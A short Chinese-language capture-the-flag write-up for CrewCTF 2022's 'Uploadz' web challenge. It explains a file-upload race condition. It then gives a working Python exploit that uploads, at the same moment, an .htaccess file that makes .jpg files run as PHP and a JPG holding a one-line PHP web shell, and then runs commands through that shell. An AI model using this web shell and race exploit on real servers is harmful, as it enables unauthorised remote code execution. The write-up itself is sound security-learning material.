Uploadz
参考
https://github.com/ixSly/CTFs/tree/master/CrewCTF#uploadz-web
分析
对代码的简单静态分析表明存在竞争条件的空间,因为我们的文件按原样上传到临时文件夹中,然后我们需要一秒钟才能访问该文件,之后使用取消链接将其删除。
为了解决这个问题,我们显然需要一个脚本,然后就是计划一次成功的攻击以实现 RCE。 我遇到的一个问题是 PHP 不可执行,所以我决定上传两个文件:
1- 一个 .htaccess 文件,它允许使用另一个扩展 (jpg) 执行 php 代码。
2- 上传一个带有 php 代码的 JPG 文件(在这种情况下是一个单行 cmd)。
exp
不得不说上代理上了半天。
多运行几次,一次肯条件竞争不成功。
import requests
import re
import urllib3
import threading
import time
import sys
urllib3.disable_warnings()
file = ".htaccess"
file2 = "test.jpg"
path = "storage/app/temp/"
files = {
'uploadedFile': (file, "AddType application/x-httpd-php .jpg", 'text/plain')
}
files2 = {
'uploadedFile': (file2, '<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>', 'text/plain')
}
values = {'submit': 'Upload Image'}
url = "https://uploadz-web.crewctf-2022.crewc.tf/"
def performReqs(uploadedFile):
r = requests.post(url, files=uploadedFile,proxies={"https":"http://127.0.0.1:7890","http":"http://127.0.0.1:7890"},verify=False,data=values)
filename = re.search("your file in (.*)<", r.text)
cmd = sys.argv[1]
t1 = threading.Thread(target=performReqs, args=(files,))
t2 = threading.Thread(target=performReqs, args=(files2,))
t2.start()
t1.start()
r2 = requests.get(url+path+"test.jpg?cmd={}".format(cmd), verify=False,proxies={"https":"http://127.0.0.1:7890","http":"http://127.0.0.1:7890"})
print(r2.text)